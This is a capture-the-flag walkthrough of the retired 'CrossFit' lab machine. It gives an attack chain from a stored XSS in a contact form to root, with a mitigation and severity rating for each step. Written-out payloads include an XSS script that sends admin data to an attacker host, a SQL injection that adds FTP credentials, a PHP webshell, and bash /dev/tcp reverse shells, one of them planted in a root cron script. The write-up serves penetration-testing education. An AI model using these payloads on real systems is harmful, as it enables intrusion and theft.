CrossFit
Summary
CrossFit presented a five-link chain from anonymous visitor to root. A stored cross-site scripting flaw in the public contact form ran a payload in the administrator's browser, stealing a live session cookie for a restricted employee-management sub-domain.
That session exposed a SQL injection point used to write new FTP credentials into the database. The FTP account had write access to the web root, so uploading a PHP webshell gave remote code execution as the web server user.
A PHP configuration file held a plaintext database password reused on an OS account, providing an SSH foothold. From there a root-owned scheduled task executed a file in a world-writable directory, and placing a reverse-shell payload in that file delivered full root access on the next cron cycle.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets (<app-user>, <bcrypt-or-md5-hash>, <chosen-password>, <stolen-session-value>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Full port scan with service versions and default scripts.
$ nmap -sC -sV -p- --min-rate 5000 -oN crossfit-full.txt $TARGETRegister all discovered virtual hosts for local resolution.
$ echo "$TARGET crossfit.htb employees.crossfit.htb" | sudo tee -a /etc/hostsConnect; enter 'anonymous' at the username prompt and blank password to confirm unauthenticated access.
$ ftp $TARGETFixDisable anonymous FTP and restrict FTP write access to non-web pathsHigh
Exact commands 2
Adjust -fc to match the baseline redirect code for this target.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://crossfit.htb/ -H 'Host: FUZZ.crossfit.htb' -fc 301,302 -mc all -o ffuf-vhosts.jsonEnumerate directories on the main virtual host.
$ gobuster dir -u http://crossfit.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster-root.txtExact commands 2
Start a listener on your tun0 interface to catch the exfiltrated cookie (run in a separate terminal).
$ python3 -m http.server 8000Replace $ATTACKER_IP with your tun0 address. The payload runs in the admin's browser and exfiltrates the employees portal cookie to your listener.
$ curl -sS -X POST http://crossfit.htb/contact.php -d 'name=test&email=test@test.com&phone=1234567890&message=<script>var+r=new+XMLHttpRequest();r.open("GET","http://employees.crossfit.htb/",true);r.withCredentials=true;r.onload=function(){fetch("http://'"$ATTACKER_IP"':8000/?d="+btoa(r.responseText));};r.send();</script>'FixEncode all user-submitted content before display and lock down session cookiesCritical
Exact commands 3
Confirm admin portal access using the exfiltrated cookie before probing further.
$ curl -sS -b 'PHPSESSID=<stolen-session-value>' http://employees.crossfit.htb/dashboard.phpAdjust the hash format to match what vsftpd expects. Compute with: echo -n '<chosen-password>' | md5sum
$ curl -sS -X POST -b 'PHPSESSID=<stolen-session-value>' http://employees.crossfit.htb/api/account-manager.php --data-urlencode "username=hacker','<bcrypt-or-md5-hash>',1)-- -" -d 'action=add'Log in with the injected username and chosen password to confirm FTP access.
$ ftp $TARGETFixParameterize all database queries in the employee management portalCritical
Exact commands 4
Create a minimal webshell locally.
$ echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' > shell.phpUpload the webshell; substitute the injected FTP credentials.
$ ftp -n $TARGET <<'EOF'
user hacker <chosen-password>
put shell.php
bye
EOFVerify RCE returns www-data context.
$ curl -sS 'http://crossfit.htb/shell.php?cmd=id'Trigger a reverse shell; catch with: nc -lvnp 4444
$ curl -sS --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"' 'http://crossfit.htb/shell.php'FixProhibit PHP execution in any FTP-accessible or upload-accessible directoryCritical
Exact commands 4
Locate PHP files containing credential strings from the www-data shell.
$ find /var/www -name '*.php' 2>/dev/null | xargs grep -lEi 'password|passwd|DB_PASS|db_pass' 2>/dev/nullPrint the credential lines from the identified config file.
$ grep -iE 'password|passwd|DB_PASS' /var/www/html/config.phpAuthenticate with the recovered password; replace <app-user> with the OS username found by cross-referencing /etc/passwd against the DB username.
$ ssh <app-user>@$TARGETCapture the user flag: <user.txt>
$ cat ~/user.txtFixRemove plaintext credentials from application files and enforce unique passwords per serviceHigh
Exact commands 5
List all system cron jobs and identify any root-owned entries.
$ cat /etc/crontab; ls -la /etc/cron.d/Find non-standard world-writable paths accessible from the current user account.
$ find / -writable -not -path '/proc/*' -not -path '/sys/*' -not -path '/dev/*' 2>/dev/null | grep -v '/tmp\|/run'Append the reverse-shell line to the writable script; wait one cron cycle (up to 60 seconds).
$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1" >> /path/to/writable/cron-script.shCatch the incoming root shell connection.
$ nc -lvnp 4445Capture the root flag: <root.txt>
$ cat /root/root.txt